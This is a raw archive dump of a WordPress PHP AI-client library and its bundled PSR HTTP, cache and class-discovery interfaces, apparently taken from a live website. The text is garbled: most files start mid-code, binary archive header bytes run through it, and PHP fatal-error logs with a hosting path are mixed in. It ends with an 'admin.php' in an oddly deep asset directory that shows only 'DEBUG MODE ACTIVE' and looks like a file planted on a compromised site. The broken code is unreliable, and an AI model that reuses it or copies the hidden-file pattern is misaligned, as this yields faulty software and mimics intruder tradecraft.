%s::%s does not exist', static::class, $name)); } /** * Converts camelCase to CONSTANT_CASE. * * @since 0.1.0 * * @param string $camelCase The camelCase string. * @return string The CONSTANT_CASE version. */ private static function camelCaseToConstant(string $camelCase): string { $snakeCase = preg_replace('/([a-z])([A-Z])/', '$1_$2', $camelCase); if ($snakeCase === null) { return strtoupper($camelCase); } return strtoupper($snakeCase); } /** * Returns string representation of the enum. * * @since 0.1.0 * * @return string The enum value. */ final public function __toString(): string { return $this->value; } /** * Converts the enum to a JSON-serializable format. * * @since 0.1.0 * * @return string The enum value. */ #[\ReturnTypeWillChange] public function jsonSerialize() { return $this->value; } } PK!e,3src/Common/Exception/TokenLimitReachedException.phpnu[maxTokens = $maxTokens; } /** * Returns the token limit that was reached, if known. * * @since 1.0.0 * * @return int|null The token limit, or null if not provided. */ public function getMaxTokens(): ?int { return $this->maxTokens; } } PK!PXc1src/Common/Exception/InvalidArgumentException.phpnu[ */ private array $localCache = []; /** * Gets the cache key suffixes managed by this object. * * @since 0.4.0 * * @return list The cache key suffixes. */ abstract protected function getCachedKeys(): array; /** * Gets the base cache key for this object. * * The base cache key is used as a prefix for all cache keys managed by this object. * It should be unique to the implementing class to avoid cache key collisions. * * @since 0.4.0 * * @return string The base cache key. */ abstract protected function getBaseCacheKey(): string; /** * Checks if a value exists in the cache. * * @since 0.4.0 * * @param string $key The cache key suffix (will be appended to the base key). * @return bool True if the value exists in cache, false otherwise. */ protected function hasCache(string $key): bool { $fullKey = $this->buildCacheKey($key); $cache = AiClient::getCache(); if ($cache !== null) { return $cache->has($fullKey); } return array_key_exists($fullKey, $this->localCache); } /** * Gets a value from the cache, or computes and caches it if not present. * * @since 0.4.0 * * @param string $key The cache key suffix (will be appended to the base key). * @param callable $callback The callback to compute the value if not cached. * @param int|\DateInterval|null $ttl The TTL for the cache entry, or null for default. * Ignored for local cache. * @return mixed The cached or computed value. */ protected function cached(string $key, callable $callback, $ttl = null) { if ($this->hasCache($key)) { return $this->getCache($key); } $value = $callback(); $this->setCache($key, $value, $ttl); return $value; } /** * Gets a value from the cache. * * @since 0.4.0 * * @param string $key The cache key suffix (will be appended to the base key). * @param mixed $default The default value to return if the key does not exist. * @return mixed The cached value or the default value if not found. */ protected function getCache(string $key, $default = null) { $fullKey = $this->buildCacheKey($key); $cache = AiClient::getCache(); if ($cache !== null) { return $cache->get($fullKey, $default); } return $this->localCache[$fullKey] ?? $default; } /** * Sets a value in the cache. * * @since 0.4.0 * * @param string $key The cache key suffix (will be appended to the base key). * @param mixed $value The value to cache. * @param int|\DateInterval|null $ttl The TTL for the cache entry, or null for default. Ignored for local cache. * @return bool True on success, false on failure. */ protected function setCache(string $key, $value, $ttl = null): bool { $fullKey = $this->buildCacheKey($key); $cache = AiClient::getCache(); if ($cache !== null) { return $cache->set($fullKey, $value, $ttl); } $this->localCache[$fullKey] = $value; return \true; } /** * Invalidates all caches managed by this object. * * @since 0.4.0 * * @return void */ public function invalidateCaches(): void { foreach ($this->getCachedKeys() as $key) { $this->clearCache($key); } } /** * Clears a value from the cache. * * @since 0.4.0 * * @param string $key The cache key suffix (will be appended to the base key). * @return bool True on success, false on failure. */ protected function clearCache(string $key): bool { $fullKey = $this->buildCacheKey($key); $cache = AiClient::getCache(); if ($cache !== null) { return $cache->delete($fullKey); } unset($this->localCache[$fullKey]); return \true; } /** * Builds the full cache key by combining the base key with the suffix. * * @since 0.4.0 * * @param string $key The cache key suffix. * @return string The full cache key. */ private function buildCacheKey(string $key): string { return $this->getBaseCacheKey() . '_' . $key; } } PK! µ}})src/Common/AbstractDataTransferObject.phpnu[ * @implements WithArrayTransformationInterface */ abstract class AbstractDataTransferObject implements WithArrayTransformationInterface, WithJsonSchemaInterface, JsonSerializable { /** * Validates that required keys exist in the array data. * * @since 0.1.0 * * @param array $data The array data to validate. * @param string[] $requiredKeys The keys that must be present. * @throws InvalidArgumentException If any required key is missing. */ protected static function validateFromArrayData(array $data, array $requiredKeys): void { $missingKeys = []; foreach ($requiredKeys as $key) { if (!array_key_exists($key, $data)) { $missingKeys[] = $key; } } if (!empty($missingKeys)) { throw new InvalidArgumentException(sprintf('%s::fromArray() missing required keys: %s', static::class, implode(', ', $missingKeys))); } } /** * {@inheritDoc} * * @since 0.1.0 */ public static function isArrayShape(array $array): bool { try { /** @var TArrayShape $array */ static::fromArray($array); return \true; } catch (InvalidArgumentException $e) { return \false; } } /** * Converts the object to a JSON-serializable format. * * This method uses the toArray() method and then processes the result * based on the JSON schema to ensure proper object representation for * empty arrays. * * @since 0.1.0 * * @return mixed The JSON-serializable representation. */ #[\ReturnTypeWillChange] public function jsonSerialize() { $data = $this->toArray(); $schema = static::getJsonSchema(); return $this->convertEmptyArraysToObjects($data, $schema); } /** * Recursively converts empty arrays to stdClass objects where the schema expects objects. * * @since 0.1.0 * * @param mixed $data The data to process. * @param array $schema The JSON schema for the data. * @return mixed The processed data. */ private function convertEmptyArraysToObjects($data, array $schema) { // If data is an empty array and schema expects object, convert to stdClass if (is_array($data) && empty($data) && isset($schema['type']) && $schema['type'] === 'object') { return new stdClass(); } // If data is an array with content, recursively process nested structures if (is_array($data)) { // Handle object properties if (isset($schema['properties']) && is_array($schema['properties'])) { foreach ($data as $key => $value) { if (isset($schema['properties'][$key]) && is_array($schema['properties'][$key])) { $data[$key] = $this->convertEmptyArraysToObjects($value, $schema['properties'][$key]); } } } // Handle array items if (isset($schema['items']) && is_array($schema['items'])) { foreach ($data as $index => $item) { $data[$index] = $this->convertEmptyArraysToObjects($item, $schema['items']); } } // Handle oneOf/anyOf schemas - just use the first one foreach (['oneOf', 'anyOf'] as $keyword) { if (isset($schema[$keyword]) && is_array($schema[$keyword])) { foreach ($schema[$keyword] as $possibleSchema) { if (is_array($possibleSchema)) { return $this->convertEmptyArraysToObjects($data, $possibleSchema); } } } } } return $data; } } PK!>src/Common/error_lognu[[04-Sep-2026 13:22:10 UTC] PHP Fatal error: Uncaught Error: Interface "WordPress\AiClient\Common\Contracts\WithArrayTransformationInterface" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Common/AbstractDataTransferObject.php:28 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Common/AbstractDataTransferObject.php on line 28 PK!I  /src/Operations/Contracts/OperationInterface.phpnu[ */ class GenerativeAiOperation extends AbstractDataTransferObject implements OperationInterface { public const KEY_ID = 'id'; public const KEY_STATE = 'state'; public const KEY_RESULT = 'result'; /** * @var string Unique identifier for this operation. */ private string $id; /** * @var OperationStateEnum The current state of the operation. */ private OperationStateEnum $state; /** * @var GenerativeAiResult|null The result once the operation completes. */ private ?GenerativeAiResult $result; /** * Constructor. * * @since 0.1.0 * * @param string $id Unique identifier for this operation. * @param OperationStateEnum $state The current state of the operation. * @param GenerativeAiResult|null $result The result once the operation completes. */ public function __construct(string $id, OperationStateEnum $state, ?GenerativeAiResult $result = null) { $this->id = $id; $this->state = $state; $this->result = $result; } /** * Creates a deep clone of this operation. * * Clones the result object if present to ensure the cloned * operation is independent of the original. * The state enum is immutable and can be safely shared. * * @since 0.4.2 */ public function __clone() { // Clone the result if present (GenerativeAiResult has __clone) if ($this->result !== null) { $this->result = clone $this->result; } // Note: $state is an immutable enum and can be safely shared } /** * {@inheritDoc} * * @since 0.1.0 */ public function getId(): string { return $this->id; } /** * {@inheritDoc} * * @since 0.1.0 */ public function getState(): OperationStateEnum { return $this->state; } /** * Gets the operation result. * * @since 0.1.0 * * @return GenerativeAiResult|null The result or null if not yet complete. */ public function getResult(): ?GenerativeAiResult { return $this->result; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function getJsonSchema(): array { return ['oneOf' => [ // Succeeded state - has result ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this operation.'], self::KEY_STATE => ['type' => 'string', 'const' => OperationStateEnum::succeeded()->value], self::KEY_RESULT => GenerativeAiResult::getJsonSchema()], 'required' => [self::KEY_ID, self::KEY_STATE, self::KEY_RESULT], 'additionalProperties' => \false], // All other states - no result ['type' => 'object', 'properties' => [self::KEY_ID => ['type' => 'string', 'description' => 'Unique identifier for this operation.'], self::KEY_STATE => ['type' => 'string', 'enum' => [OperationStateEnum::starting()->value, OperationStateEnum::processing()->value, OperationStateEnum::failed()->value, OperationStateEnum::canceled()->value], 'description' => 'The current state of the operation.']], 'required' => [self::KEY_ID, self::KEY_STATE], 'additionalProperties' => \false], ]]; } /** * {@inheritDoc} * * @since 0.1.0 * * @return GenerativeAiOperationArrayShape */ public function toArray(): array { $data = [self::KEY_ID => $this->id, self::KEY_STATE => $this->state->value]; if ($this->result !== null) { $data[self::KEY_RESULT] = $this->result->toArray(); } return $data; } /** * {@inheritDoc} * * @since 0.1.0 */ public static function fromArray(array $array): self { static::validateFromArrayData($array, [self::KEY_ID, self::KEY_STATE]); $state = OperationStateEnum::from($array[self::KEY_STATE]); if ($state->isSucceeded()) { // If the operation has succeeded, it must have a result static::validateFromArrayData($array, [self::KEY_RESULT]); } $result = null; if (isset($array[self::KEY_RESULT])) { $result = GenerativeAiResult::fromArray($array[self::KEY_RESULT]); } return new self($array[self::KEY_ID], $state, $result); } } PK!b ɦsrc/Operations/DTO/error_lognu[[04-Sep-2026 13:22:53 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Common\AbstractDataTransferObject" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Operations/DTO/GenerativeAiOperation.php:24 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Operations/DTO/GenerativeAiOperation.php on line 24 PK!8CC+src/Operations/Enums/OperationStateEnum.phpnu[getQuery()` * or from the `QUERY_STRING` server param. * * @return array */ public function getQueryParams(): array; /** * Return an instance with the specified query string arguments. * * These values SHOULD remain immutable over the course of the incoming * request. They MAY be injected during instantiation, such as from PHP's * $_GET superglobal, or MAY be derived from some other value such as the * URI. In cases where the arguments are parsed from the URI, the data * MUST be compatible with what PHP's parse_str() would return for * purposes of how duplicate query parameters are handled, and how nested * sets are handled. * * Setting query string arguments MUST NOT change the URI stored by the * request, nor the values in the server params. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated query string arguments. * * @param array $query Array of query string arguments, typically from * $_GET. * @return static */ public function withQueryParams(array $query): ServerRequestInterface; /** * Retrieve normalized file upload data. * * This method returns upload metadata in a normalized tree, with each leaf * an instance of Psr\Http\Message\UploadedFileInterface. * * These values MAY be prepared from $_FILES or the message body during * instantiation, or MAY be injected via withUploadedFiles(). * * @return array An array tree of UploadedFileInterface instances; an empty * array MUST be returned if no data is present. */ public function getUploadedFiles(): array; /** * Create a new instance with the specified uploaded files. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated body parameters. * * @param array $uploadedFiles An array tree of UploadedFileInterface instances. * @return static * @throws \InvalidArgumentException if an invalid structure is provided. */ public function withUploadedFiles(array $uploadedFiles): ServerRequestInterface; /** * Retrieve any parameters provided in the request body. * * If the request Content-Type is either application/x-www-form-urlencoded * or multipart/form-data, and the request method is POST, this method MUST * return the contents of $_POST. * * Otherwise, this method may return any results of deserializing * the request body content; as parsing returns structured content, the * potential types MUST be arrays or objects only. A null value indicates * the absence of body content. * * @return null|array|object The deserialized body parameters, if any. * These will typically be an array or object. */ public function getParsedBody(); /** * Return an instance with the specified body parameters. * * These MAY be injected during instantiation. * * If the request Content-Type is either application/x-www-form-urlencoded * or multipart/form-data, and the request method is POST, use this method * ONLY to inject the contents of $_POST. * * The data IS NOT REQUIRED to come from $_POST, but MUST be the results of * deserializing the request body content. Deserialization/parsing returns * structured data, and, as such, this method ONLY accepts arrays or objects, * or a null value if nothing was available to parse. * * As an example, if content negotiation determines that the request data * is a JSON payload, this method could be used to create a request * instance with the deserialized parameters. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated body parameters. * * @param null|array|object $data The deserialized body data. This will * typically be in an array or object. * @return static * @throws \InvalidArgumentException if an unsupported argument type is * provided. */ public function withParsedBody($data): ServerRequestInterface; /** * Retrieve attributes derived from the request. * * The request "attributes" may be used to allow injection of any * parameters derived from the request: e.g., the results of path * match operations; the results of decrypting cookies; the results of * deserializing non-form-encoded message bodies; etc. Attributes * will be application and request specific, and CAN be mutable. * * @return array Attributes derived from the request. */ public function getAttributes(): array; /** * Retrieve a single derived request attribute. * * Retrieves a single derived request attribute as described in * getAttributes(). If the attribute has not been previously set, returns * the default value as provided. * * This method obviates the need for a hasAttribute() method, as it allows * specifying a default value to return if the attribute is not found. * * @see getAttributes() * @param string $name The attribute name. * @param mixed $default Default value to return if the attribute does not exist. * @return mixed */ public function getAttribute(string $name, $default = null); /** * Return an instance with the specified derived request attribute. * * This method allows setting a single derived request attribute as * described in getAttributes(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * updated attribute. * * @see getAttributes() * @param string $name The attribute name. * @param mixed $value The value of the attribute. * @return static */ public function withAttribute(string $name, $value): ServerRequestInterface; /** * Return an instance that removes the specified derived request attribute. * * This method allows removing a single derived request attribute as * described in getAttributes(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that removes * the attribute. * * @see getAttributes() * @param string $name The attribute name. * @return static */ public function withoutAttribute(string $name): ServerRequestInterface; } PK!è 0third-party/Psr/Http/Message/StreamInterface.phpnu[ * [user-info@]host[:port] * * * If the port component is not set or is the standard port for the current * scheme, it SHOULD NOT be included. * * @see https://tools.ietf.org/html/rfc3986#section-3.2 * @return string The URI authority, in "[user-info@]host[:port]" format. */ public function getAuthority(): string; /** * Retrieve the user information component of the URI. * * If no user information is present, this method MUST return an empty * string. * * If a user is present in the URI, this will return that value; * additionally, if the password is also present, it will be appended to the * user value, with a colon (":") separating the values. * * The trailing "@" character is not part of the user information and MUST * NOT be added. * * @return string The URI user information, in "username[:password]" format. */ public function getUserInfo(): string; /** * Retrieve the host component of the URI. * * If no host is present, this method MUST return an empty string. * * The value returned MUST be normalized to lowercase, per RFC 3986 * Section 3.2.2. * * @see http://tools.ietf.org/html/rfc3986#section-3.2.2 * @return string The URI host. */ public function getHost(): string; /** * Retrieve the port component of the URI. * * If a port is present, and it is non-standard for the current scheme, * this method MUST return it as an integer. If the port is the standard port * used with the current scheme, this method SHOULD return null. * * If no port is present, and no scheme is present, this method MUST return * a null value. * * If no port is present, but a scheme is present, this method MAY return * the standard port for that scheme, but SHOULD return null. * * @return null|int The URI port. */ public function getPort(): ?int; /** * Retrieve the path component of the URI. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * Normally, the empty path "" and absolute path "/" are considered equal as * defined in RFC 7230 Section 2.7.3. But this method MUST NOT automatically * do this normalization because in contexts with a trimmed base path, e.g. * the front controller, this difference becomes significant. It's the task * of the user to handle both "" and "/". * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.3. * * As an example, if the value should include a slash ("/") not intended as * delimiter between path segments, that value MUST be passed in encoded * form (e.g., "%2F") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.3 * @return string The URI path. */ public function getPath(): string; /** * Retrieve the query string of the URI. * * If no query string is present, this method MUST return an empty string. * * The leading "?" character is not part of the query and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.4. * * As an example, if a value in a key/value pair of the query string should * include an ampersand ("&") not intended as a delimiter between values, * that value MUST be passed in encoded form (e.g., "%26") to the instance. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.4 * @return string The URI query string. */ public function getQuery(): string; /** * Retrieve the fragment component of the URI. * * If no fragment is present, this method MUST return an empty string. * * The leading "#" character is not part of the fragment and MUST NOT be * added. * * The value returned MUST be percent-encoded, but MUST NOT double-encode * any characters. To determine what characters to encode, please refer to * RFC 3986, Sections 2 and 3.5. * * @see https://tools.ietf.org/html/rfc3986#section-2 * @see https://tools.ietf.org/html/rfc3986#section-3.5 * @return string The URI fragment. */ public function getFragment(): string; /** * Return an instance with the specified scheme. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified scheme. * * Implementations MUST support the schemes "http" and "https" case * insensitively, and MAY accommodate other schemes if required. * * An empty scheme is equivalent to removing the scheme. * * @param string $scheme The scheme to use with the new instance. * @return static A new instance with the specified scheme. * @throws \InvalidArgumentException for invalid or unsupported schemes. */ public function withScheme(string $scheme): UriInterface; /** * Return an instance with the specified user information. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified user information. * * Password is optional, but the user information MUST include the * user; an empty string for the user is equivalent to removing user * information. * * @param string $user The user name to use for authority. * @param null|string $password The password associated with $user. * @return static A new instance with the specified user information. */ public function withUserInfo(string $user, ?string $password = null): UriInterface; /** * Return an instance with the specified host. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified host. * * An empty host value is equivalent to removing the host. * * @param string $host The hostname to use with the new instance. * @return static A new instance with the specified host. * @throws \InvalidArgumentException for invalid hostnames. */ public function withHost(string $host): UriInterface; /** * Return an instance with the specified port. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified port. * * Implementations MUST raise an exception for ports outside the * established TCP and UDP port ranges. * * A null value provided for the port is equivalent to removing the port * information. * * @param null|int $port The port to use with the new instance; a null value * removes the port information. * @return static A new instance with the specified port. * @throws \InvalidArgumentException for invalid ports. */ public function withPort(?int $port): UriInterface; /** * Return an instance with the specified path. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified path. * * The path can either be empty or absolute (starting with a slash) or * rootless (not starting with a slash). Implementations MUST support all * three syntaxes. * * If the path is intended to be domain-relative rather than path relative then * it must begin with a slash ("/"). Paths not starting with a slash ("/") * are assumed to be relative to some base path known to the application or * consumer. * * Users can provide both encoded and decoded path characters. * Implementations ensure the correct encoding as outlined in getPath(). * * @param string $path The path to use with the new instance. * @return static A new instance with the specified path. * @throws \InvalidArgumentException for invalid paths. */ public function withPath(string $path): UriInterface; /** * Return an instance with the specified query string. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified query string. * * Users can provide both encoded and decoded query characters. * Implementations ensure the correct encoding as outlined in getQuery(). * * An empty query string value is equivalent to removing the query string. * * @param string $query The query string to use with the new instance. * @return static A new instance with the specified query string. * @throws \InvalidArgumentException for invalid query strings. */ public function withQuery(string $query): UriInterface; /** * Return an instance with the specified URI fragment. * * This method MUST retain the state of the current instance, and return * an instance that contains the specified URI fragment. * * Users can provide both encoded and decoded fragment characters. * Implementations ensure the correct encoding as outlined in getFragment(). * * An empty fragment value is equivalent to removing the fragment. * * @param string $fragment The fragment to use with the new instance. * @return static A new instance with the specified fragment. */ public function withFragment(string $fragment): UriInterface; /** * Return the string representation as a URI reference. * * Depending on which components of the URI are present, the resulting * string is either a full URI or relative reference according to RFC 3986, * Section 4.1. The method concatenates the various components of the URI, * using the appropriate delimiters: * * - If a scheme is present, it MUST be suffixed by ":". * - If an authority is present, it MUST be prefixed by "//". * - The path can be concatenated without delimiters. But there are two * cases where the path has to be adjusted to make the URI reference * valid as PHP does not allow to throw an exception in __toString(): * - If the path is rootless and an authority is present, the path MUST * be prefixed by "/". * - If the path is starting with more than one "/" and no authority is * present, the starting slashes MUST be reduced to one. * - If a query is present, it MUST be prefixed by "?". * - If a fragment is present, it MUST be prefixed by "#". * * @see http://tools.ietf.org/html/rfc3986#section-4.1 * @return string */ public function __toString(): string; } PK!=wdd4third-party/Psr/Http/Message/UriFactoryInterface.phpnu[third-party/Psr/Http/Message/ServerRequestFactoryInterface.phpnu[getHeaders() as $name => $values) { * echo $name . ": " . implode(", ", $values); * } * * // Emit headers iteratively: * foreach ($message->getHeaders() as $name => $values) { * foreach ($values as $value) { * header(sprintf('%s: %s', $name, $value), false); * } * } * * While header names are not case-sensitive, getHeaders() will preserve the * exact case in which headers were originally specified. * * @return string[][] Returns an associative array of the message's headers. Each * key MUST be a header name, and each value MUST be an array of strings * for that header. */ public function getHeaders(): array; /** * Checks if a header exists by the given case-insensitive name. * * @param string $name Case-insensitive header field name. * @return bool Returns true if any header names match the given header * name using a case-insensitive string comparison. Returns false if * no matching header name is found in the message. */ public function hasHeader(string $name): bool; /** * Retrieves a message header value by the given case-insensitive name. * * This method returns an array of all the header values of the given * case-insensitive header name. * * If the header does not appear in the message, this method MUST return an * empty array. * * @param string $name Case-insensitive header field name. * @return string[] An array of string values as provided for the given * header. If the header does not appear in the message, this method MUST * return an empty array. */ public function getHeader(string $name): array; /** * Retrieves a comma-separated string of the values for a single header. * * This method returns all of the header values of the given * case-insensitive header name as a string concatenated together using * a comma. * * NOTE: Not all header values may be appropriately represented using * comma concatenation. For such headers, use getHeader() instead * and supply your own delimiter when concatenating. * * If the header does not appear in the message, this method MUST return * an empty string. * * @param string $name Case-insensitive header field name. * @return string A string of values as provided for the given header * concatenated together using a comma. If the header does not appear in * the message, this method MUST return an empty string. */ public function getHeaderLine(string $name): string; /** * Return an instance with the provided value replacing the specified header. * * While header names are case-insensitive, the casing of the header will * be preserved by this function, and returned from getHeaders(). * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new and/or updated header and value. * * @param string $name Case-insensitive header field name. * @param string|string[] $value Header value(s). * @return static * @throws \InvalidArgumentException for invalid header names or values. */ public function withHeader(string $name, $value): MessageInterface; /** * Return an instance with the specified header appended with the given value. * * Existing values for the specified header will be maintained. The new * value(s) will be appended to the existing list. If the header did not * exist previously, it will be added. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that has the * new header and/or value. * * @param string $name Case-insensitive header field name to add. * @param string|string[] $value Header value(s). * @return static * @throws \InvalidArgumentException for invalid header names or values. */ public function withAddedHeader(string $name, $value): MessageInterface; /** * Return an instance without the specified header. * * Header resolution MUST be done without case-sensitivity. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return an instance that removes * the named header. * * @param string $name Case-insensitive header field name to remove. * @return static */ public function withoutHeader(string $name): MessageInterface; /** * Gets the body of the message. * * @return StreamInterface Returns the body as a stream. */ public function getBody(): StreamInterface; /** * Return an instance with the specified message body. * * The body MUST be a StreamInterface object. * * This method MUST be implemented in such a way as to retain the * immutability of the message, and MUST return a new instance that has the * new body stream. * * @param StreamInterface $body Body. * @return static * @throws \InvalidArgumentException When the body is not valid. */ public function withBody(StreamInterface $body): MessageInterface; } PK! g g 2third-party/Psr/Http/Message/ResponseInterface.phpnu[ value pairs. Cache keys that do not exist or are stale will have $default as value. * * @throws \Psr\SimpleCache\InvalidArgumentException * MUST be thrown if $keys is neither an array nor a Traversable, * or if any of the $keys are not a legal value. */ public function getMultiple($keys, $default = null); /** * Persists a set of key => value pairs in the cache, with an optional TTL. * * @param iterable $values A list of key => value pairs for a multiple-set operation. * @param null|int|\DateInterval $ttl Optional. The TTL value of this item. If no value is sent and * the driver supports TTL then the library may set a default value * for it or let the driver take care of that. * * @return bool True on success and false on failure. * * @throws \Psr\SimpleCache\InvalidArgumentException * MUST be thrown if $values is neither an array nor a Traversable, * or if any of the $values are not a legal value. */ public function setMultiple($values, $ttl = null); /** * Deletes multiple cache items in a single operation. * * @param iterable $keys A list of string-based keys to be deleted. * * @return bool True if the items were successfully removed. False if there was an error. * * @throws \Psr\SimpleCache\InvalidArgumentException * MUST be thrown if $keys is neither an array nor a Traversable, * or if any of the $keys are not a legal value. */ public function deleteMultiple($keys); /** * Determines whether an item is present in the cache. * * NOTE: It is recommended that has() is only to be used for cache warming type purposes * and not to be used within your live applications operations for get/set, as this method * is subject to a race condition where your has() will return true and immediately after, * another script can remove it making the state of your app out of date. * * @param string $key The cache item key. * * @return bool * * @throws \Psr\SimpleCache\InvalidArgumentException * MUST be thrown if the $key string is not a legal value. */ public function has($key); } PK!S-third-party/Http/Discovery/ClassDiscovery.phpnu[ * @author Márk Sági-Kazár * @author Tobias Nyholm */ abstract class ClassDiscovery { /** * A list of strategies to find classes. * * @var DiscoveryStrategy[] */ private static $strategies = [Strategy\GeneratedDiscoveryStrategy::class, Strategy\CommonClassesStrategy::class, Strategy\CommonPsr17ClassesStrategy::class, Strategy\PuliBetaStrategy::class]; private static $deprecatedStrategies = [Strategy\PuliBetaStrategy::class => \true]; /** * Discovery cache to make the second time we use discovery faster. * * @var array */ private static $cache = []; /** * Finds a class. * * @param string $type * * @return string|\Closure * * @throws DiscoveryFailedException */ protected static function findOneByType($type) { // Look in the cache if (null !== $class = self::getFromCache($type)) { return $class; } static $skipStrategy; $skipStrategy ?? $skipStrategy = self::safeClassExists(Strategy\GeneratedDiscoveryStrategy::class) ? \false : Strategy\GeneratedDiscoveryStrategy::class; $exceptions = []; foreach (self::$strategies as $strategy) { if ($skipStrategy === $strategy) { continue; } try { $candidates = $strategy::getCandidates($type); } catch (StrategyUnavailableException $e) { if (!isset(self::$deprecatedStrategies[$strategy])) { $exceptions[] = $e; } continue; } foreach ($candidates as $candidate) { if (isset($candidate['condition'])) { if (!self::evaluateCondition($candidate['condition'])) { continue; } } // save the result for later use self::storeInCache($type, $candidate); return $candidate['class']; } $exceptions[] = new NoCandidateFoundException($strategy, $candidates); } throw DiscoveryFailedException::create($exceptions); } /** * Get a value from cache. * * @param string $type * * @return string|null */ private static function getFromCache($type) { if (!isset(self::$cache[$type])) { return; } $candidate = self::$cache[$type]; if (isset($candidate['condition'])) { if (!self::evaluateCondition($candidate['condition'])) { return; } } return $candidate['class']; } /** * Store a value in cache. * * @param string $type * @param string $class */ private static function storeInCache($type, $class) { self::$cache[$type] = $class; } /** * Set new strategies and clear the cache. * * @param string[] $strategies list of fully qualified class names that implement DiscoveryStrategy */ public static function setStrategies(array $strategies) { self::$strategies = $strategies; self::clearCache(); } /** * Returns the currently configured discovery strategies as fully qualified class names. * * @return string[] */ public static function getStrategies(): iterable { return self::$strategies; } /** * Append a strategy at the end of the strategy queue. * * @param string $strategy Fully qualified class name of a DiscoveryStrategy */ public static function appendStrategy($strategy) { self::$strategies[] = $strategy; self::clearCache(); } /** * Prepend a strategy at the beginning of the strategy queue. * * @param string $strategy Fully qualified class name to a DiscoveryStrategy */ public static function prependStrategy($strategy) { array_unshift(self::$strategies, $strategy); self::clearCache(); } public static function clearCache() { self::$cache = []; } /** * Evaluates conditions to boolean. * * @return bool */ protected static function evaluateCondition($condition) { if (is_string($condition)) { // Should be extended for functions, extensions??? return self::safeClassExists($condition); } if (is_callable($condition)) { return (bool) $condition(); } if (is_bool($condition)) { return $condition; } if (is_array($condition)) { foreach ($condition as $c) { if (\false === static::evaluateCondition($c)) { // Immediately stop execution if the condition is false return \false; } } return \true; } return \false; } /** * Get an instance of the $class. * * @param string|\Closure $class a FQCN of a class or a closure that instantiate the class * * @return object * * @throws ClassInstantiationFailedException */ protected static function instantiateClass($class) { try { if (is_string($class)) { return new $class(); } if (is_callable($class)) { return $class(); } } catch (\Exception $e) { throw new ClassInstantiationFailedException('Unexpected exception when instantiating class.', 0, $e); } throw new ClassInstantiationFailedException('Could not instantiate class because parameter is neither a callable nor a string'); } /** * We need a "safe" version of PHP's "class_exists" because Magento has a bug * (or they call it a "feature"). Magento is throwing an exception if you do class_exists() * on a class that ends with "Factory" and if that file does not exits. * * This function catches all potential exceptions and makes sure to always return a boolean. * * @param string $class * * @return bool */ public static function safeClassExists($class) { try { return class_exists($class) || interface_exists($class); } catch (\Exception $e) { return \false; } } } PK!i4third-party/Http/Discovery/Psr17FactoryDiscovery.phpnu[ */ final class Psr17FactoryDiscovery extends ClassDiscovery { private static function createException($type, Exception $e) { return new RealNotFoundException('No PSR-17 ' . $type . ' found. Install a package from this list: https://packagist.org/providers/psr/http-factory-implementation', 0, $e); } /** * @return RequestFactoryInterface * * @throws RealNotFoundException */ public static function findRequestFactory() { try { $messageFactory = static::findOneByType(RequestFactoryInterface::class); } catch (DiscoveryFailedException $e) { throw self::createException('request factory', $e); } return static::instantiateClass($messageFactory); } /** * @return ResponseFactoryInterface * * @throws RealNotFoundException */ public static function findResponseFactory() { try { $messageFactory = static::findOneByType(ResponseFactoryInterface::class); } catch (DiscoveryFailedException $e) { throw self::createException('response factory', $e); } return static::instantiateClass($messageFactory); } /** * @return ServerRequestFactoryInterface * * @throws RealNotFoundException */ public static function findServerRequestFactory() { try { $messageFactory = static::findOneByType(ServerRequestFactoryInterface::class); } catch (DiscoveryFailedException $e) { throw self::createException('server request factory', $e); } return static::instantiateClass($messageFactory); } /** * @return StreamFactoryInterface * * @throws RealNotFoundException */ public static function findStreamFactory() { try { $messageFactory = static::findOneByType(StreamFactoryInterface::class); } catch (DiscoveryFailedException $e) { throw self::createException('stream factory', $e); } return static::instantiateClass($messageFactory); } /** * @return UploadedFileFactoryInterface * * @throws RealNotFoundException */ public static function findUploadedFileFactory() { try { $messageFactory = static::findOneByType(UploadedFileFactoryInterface::class); } catch (DiscoveryFailedException $e) { throw self::createException('uploaded file factory', $e); } return static::instantiateClass($messageFactory); } /** * @return UriFactoryInterface * * @throws RealNotFoundException */ public static function findUriFactory() { try { $messageFactory = static::findOneByType(UriFactoryInterface::class); } catch (DiscoveryFailedException $e) { throw self::createException('url factory', $e); } return static::instantiateClass($messageFactory); } /** * @return UriFactoryInterface * * @throws RealNotFoundException * * @deprecated This will be removed in 2.0. Consider using the findUriFactory() method. */ public static function findUrlFactory() { return static::findUriFactory(); } } PK!w&(Bthird-party/Http/Discovery/js/2024/assets/v1/v1/vch/inql/admin.phpnu6$DEBUG MODE ACTIVE
